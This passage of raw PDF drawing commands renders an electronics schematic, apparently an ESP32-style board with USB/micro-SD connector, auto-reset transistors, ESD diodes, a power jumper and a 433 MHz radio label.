825.000 224.605 825.000 225.500 c +825.000 261.500 l +825.000 262.605 826.105 263.500 827.000 263.500 c +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +831.66 185.30 Td +(4.7K) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +839.04 195.30 Td +(R8) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +855.00 208.50 10.00 -20.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 188.500 m +860.000 178.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 208.500 m +860.000 218.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +867.00 281.23 Td +(4.7K) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +867.00 290.34 Td +(R9) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +855.00 303.50 10.00 -20.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 283.500 m +860.000 273.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +860.000 303.500 m +860.000 313.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +810.000 358.500 m +860.000 358.500 l +860.000 313.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +515.09 331.00 Td +(DTR) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +535.000 329.500 m +535.000 327.500 l +534.000 328.500 m +536.000 328.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +516.62 341.00 Td +(RTS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +535.000 339.500 m +535.000 337.500 l +534.000 338.500 m +536.000 338.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +860.000 273.500 m +860.000 268.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +755.000 343.500 m +795.000 343.500 l +795.000 178.500 l +860.000 178.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +757.00 346.00 Td +(RTS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +755.000 344.500 m +755.000 342.500 l +754.000 343.500 m +756.000 343.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +835.000 218.500 m +835.000 208.500 l +810.000 208.500 l +810.000 358.500 l +755.000 358.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +757.00 361.00 Td +(DTR) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +755.000 359.500 m +755.000 357.500 l +754.000 358.500 m +756.000 358.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +835.000 268.500 m +835.000 298.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +885.000 268.500 m +885.000 343.500 l +795.000 343.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +885.000 218.500 m +885.000 173.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 882.55 173.51 Tm +(EN) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +885.000 179.500 m +885.000 177.500 l +884.000 178.500 m +886.000 178.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 832.55 283.51 Tm +(IO0) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +835.000 289.500 m +835.000 287.500 l +834.000 288.500 m +836.000 288.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 723.500 m +290.000 723.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 725.98 Td +(IO0) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 724.500 m +290.000 722.500 l +289.000 723.500 m +291.000 723.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 873.500 m +565.000 873.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 863.500 m +565.000 863.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +550.56 875.98 Td +(RX) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 874.500 m +565.000 872.500 l +564.000 873.500 m +566.000 873.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +551.01 865.98 Td +(TX) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 864.500 m +565.000 862.500 l +564.000 863.500 m +566.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 953.500 m +600.000 953.500 l +600.000 948.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 587.02 921.33 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +600.000 938.500 m +600.000 948.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +591.000 938.500 m +609.000 938.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +594.000 936.500 m +606.000 936.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +597.000 934.500 m +603.000 934.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +599.000 932.500 m +601.000 932.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 947.500 m +524.000 939.500 l +524.000 947.500 m +516.000 939.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 937.500 m +524.000 929.500 l +524.000 937.500 m +516.000 929.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 813.500 m +565.000 813.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 803.500 m +565.000 803.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 797.500 m +524.000 789.500 l +524.000 797.500 m +516.000 789.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 787.500 m +524.000 779.500 l +524.000 787.500 m +516.000 779.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 777.500 m +524.000 769.500 l +524.000 777.500 m +516.000 769.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 767.500 m +524.000 759.500 l +524.000 767.500 m +516.000 759.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +545.61 815.98 Td +(SCK) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 814.500 m +565.000 812.500 l +564.000 813.500 m +566.000 813.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +541.11 805.98 Td +(CS_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 804.500 m +565.000 802.500 l +564.000 803.500 m +566.000 803.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 793.500 m +290.000 793.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 795.98 Td +(CS_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 794.500 m +290.000 792.500 l +289.000 793.500 m +291.000 793.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 823.500 m +290.000 823.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 813.500 m +290.000 813.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 803.500 m +290.000 803.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 815.98 Td +(DG00_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 814.500 m +290.000 812.500 l +289.000 813.500 m +291.000 813.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 805.98 Td +(DG02_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 804.500 m +290.000 802.500 l +289.000 803.500 m +291.000 803.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 783.500 m +290.000 783.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 733.500 m +290.000 733.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 713.500 m +290.000 713.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 735.98 Td +(DG00_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 734.500 m +290.000 732.500 l +289.000 733.500 m +291.000 733.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 715.98 Td +(DG02_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 714.500 m +290.000 712.500 l +289.000 713.500 m +291.000 713.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +615.000 823.500 m +565.000 823.500 l +520.000 823.500 l +S +10.00 w +BT +/F4 37 Tf +37.00 TL +0.000 0.000 1.000 rg +1260.00 613.50 Td +(433Mhz) Tj +ET +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 907.500 m +524.000 899.500 l +524.000 907.500 m +516.000 899.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 917.500 m +524.000 909.500 l +524.000 917.500 m +516.000 909.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +405.000 358.500 m +405.000 368.500 l +355.000 368.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +971.00 481.33 Td +(CESD5V0AP) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +971.00 490.16 Td +(D2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +967.000 493.500 m +960.000 503.500 l +953.000 493.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +967.000 503.500 m +953.000 503.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +967.000 503.500 m +969.000 505.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +953.000 503.500 m +951.000 501.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +947.000 493.500 m +940.000 503.500 l +933.000 493.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +947.000 503.500 m +933.000 503.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +947.000 503.500 m +949.000 505.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +933.000 503.500 m +931.000 501.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +960.000 523.500 m +960.000 503.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +940.000 523.500 m +940.000 503.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +950.000 463.500 m +950.000 483.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +960.000 493.500 m +960.000 483.500 l +940.000 483.500 l +940.000 493.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +960.000 523.500 m +960.000 533.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 222.01 397.39 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +235.000 388.500 m +235.000 378.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +244.000 388.500 m +226.000 388.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +241.000 390.500 m +229.000 390.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +238.000 392.500 m +232.000 392.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +236.000 394.500 m +234.000 394.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 843.500 m +580.000 843.500 l +615.000 843.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +590.57 845.98 Td +(MISO) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +615.000 844.500 m +615.000 842.500 l +614.000 843.500 m +616.000 843.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +145.09 225.24 Td +(J1) Tj +ET +2 J +0 j +100 M +1.00 w +0.50 0.00 0.00 RG +[] 0 d +120.00 388.50 50.00 -140.00 re +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +143.66 375.50 Td +(DAT2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 379.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 378.500 m +170.000 378.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +147.36 365.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 369.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 368.500 m +170.000 368.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +126.37 355.50 Td +(CD/DAT3) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 359.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 358.500 m +170.000 358.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +147.21 345.50 Td +(CMD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 349.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 348.500 m +170.000 348.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +153.71 335.50 Td +(D+) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 339.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 338.500 m +170.000 338.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +147.99 325.50 Td +(VDD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 329.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 328.500 m +170.000 328.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +150.49 315.50 Td +(CLK) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 319.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 318.500 m +170.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +156.98 305.50 Td +(D-) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 309.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 308.500 m +170.000 308.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +136.21 295.50 Td +(SHORT) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 299.50 Td +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 298.500 m +170.000 298.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +143.84 285.50 Td +(VSS2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 289.50 Td +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 288.500 m +170.000 288.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +142.96 275.50 Td +(VBUS) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 279.50 Td +(11) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 278.500 m +170.000 278.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +135.49 265.50 Td +(DAT[0]) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 269.50 Td +(12) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 268.500 m +170.000 268.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +135.49 255.50 Td +(DAT[1]) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +175.00 259.50 Td +(13) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +190.000 258.500 m +170.000 258.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +122.00 315.50 Td +(CH1) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +96.24 319.50 Td +(CH1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +100.000 318.500 m +120.000 318.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +122.00 305.50 Td +(CH2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +96.24 309.50 Td +(CH2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +100.000 308.500 m +120.000 308.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +98.25 235.25 Td +(USB-A-SMD-M-MICRO-SD) Tj +ET +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +190.000 368.500 m +235.000 368.500 l +235.000 378.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +190.000 288.500 m +235.000 288.500 l +235.000 248.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +235.000 238.500 m +235.000 248.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +226.000 238.500 m +244.000 238.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +229.000 236.500 m +241.000 236.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +232.000 234.500 m +238.000 234.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +234.000 232.500 m +236.000 232.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +190.000 328.500 m +215.000 328.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +100.000 318.500 m +85.000 318.500 l +85.000 308.500 l +100.000 308.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +85.000 298.500 m +85.000 308.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +76.000 298.500 m +94.000 298.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +79.000 296.500 m +91.000 296.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +82.000 294.500 m +88.000 294.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +84.000 292.500 m +86.000 292.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +207.59 350.30 Td +(MOSI) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +230.000 349.500 m +230.000 347.500 l +229.000 348.500 m +231.000 348.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +195.56 330.30 Td +(VDD) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +215.000 329.500 m +215.000 327.500 l +214.000 328.500 m +216.000 328.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +184.59 301.02 Td +(SD_DET) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +220.000 299.500 m +220.000 297.500 l +219.000 298.500 m +221.000 298.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +197.59 270.30 Td +(MISO) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +220.000 269.500 m +220.000 267.500 l +219.000 268.500 m +221.000 268.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +215.000 318.500 m +190.000 318.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +220.000 298.500 m +190.000 298.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +270.000 268.500 m +220.000 268.500 l +190.000 268.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +265.000 358.500 m +190.000 358.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +290.000 348.500 m +190.000 348.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +389.01 278.96 Td +(C41) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +380.85 268.97 Td +(22PF) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +380.000 298.500 m +380.000 285.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +380.000 268.500 m +380.000 281.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +373.000 281.500 m +387.000 281.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +373.000 285.500 m +387.000 285.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +380.000 281.500 m +380.000 279.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +380.000 285.500 m +380.000 287.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +337.80 268.96 Td +(C42) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +355.85 268.97 Td +(22PF) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +355.000 298.500 m +355.000 285.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +355.000 268.500 m +355.000 281.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +348.000 281.500 m +362.000 281.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +348.000 285.500 m +362.000 285.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +355.000 281.500 m +355.000 279.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +355.000 285.500 m +355.000 287.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +380.000 298.500 m +380.000 308.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +355.000 298.500 m +355.000 318.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +390.000 238.500 m +380.000 238.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +390.000 229.500 m +390.000 247.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +392.000 232.500 m +392.000 244.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +394.000 235.500 m +394.000 241.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +396.000 237.500 m +396.000 239.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +355.000 268.500 m +355.000 238.500 l +380.000 238.500 l +380.000 268.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1035.00 252.00 Td +(JP1) Tj +ET +2 J +0 j +100 M +0.50 w +0.50 0.00 0.00 RG +1.00 1.00 0.69 rg +[] 0 d +1035.00 288.50 30.00 -30.00 re +B +BT +/F3 9 Tf +9.00 TL +0.000 g +1052.50 264.00 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1085.000 268.500 m +1065.000 268.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 g +1052.50 274.00 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1085.000 278.500 m +1065.000 278.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1145.000 323.500 m +1135.000 323.500 l +1085.000 323.500 l +1085.000 278.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1185.000 323.500 m +1195.000 323.500 l +1227.000 323.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1085.000 268.500 m +1085.000 223.500 l +1165.000 223.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1195.00 325.30 Td +(5V) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1195.000 324.500 m +1195.000 322.500 l +1194.000 323.500 m +1196.000 323.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +0.00 1.00 -1.00 0.00 1163.21 283.51 Tm +(VBUS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1165.000 284.500 m +1165.000 282.500 l +1164.000 283.500 m +1166.000 283.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1105.00 325.30 Td +(VBAT) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1105.000 324.500 m +1105.000 322.500 l +1104.000 323.500 m +1106.000 323.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1.00 -0.00 0.00 1.00 1155.28 196.30 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1165.000 223.500 m +1165.000 213.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1175.000 213.500 m +1155.000 213.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1172.000 210.500 m +1158.000 210.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1169.000 207.500 m +1161.000 207.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1166.000 204.500 m +1164.000 204.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +192.00 281.00 Td +(VBUS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +190.000 279.500 m +190.000 277.500 l +189.000 278.500 m +191.000 278.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1534.00 241.50 Td +(10uF) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1534.00 260.50 Td +(C43) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1530.000 268.500 m +1530.000 258.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1530.000 238.500 m +1530.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1520.000 258.500 m +1540.000 258.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1530.000 254.500 m +1530.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +[] 0 d +1538.210 250.340 m +1535.58 252.39 1532.34 253.50 1529.00 253.50 c +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +[] 0 d +1529.001 253.500 m +1525.71 253.50 1522.51 252.42 1519.89 250.42 c +S +2 J +0 j +100 M +0.50 w +0.00 0.00 0.50 RG +0.00 0.00 0.50 rg +[] 0 d +1521.00 260.50 2.00 -0.10 re +B +2 J +0 j +100 M +0.50 w +0.00 0.00 0.50 RG +0.00 0.00 0.50 rg +[] 0 d +1522.00 261.50 0.10 -2.00 re +B +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 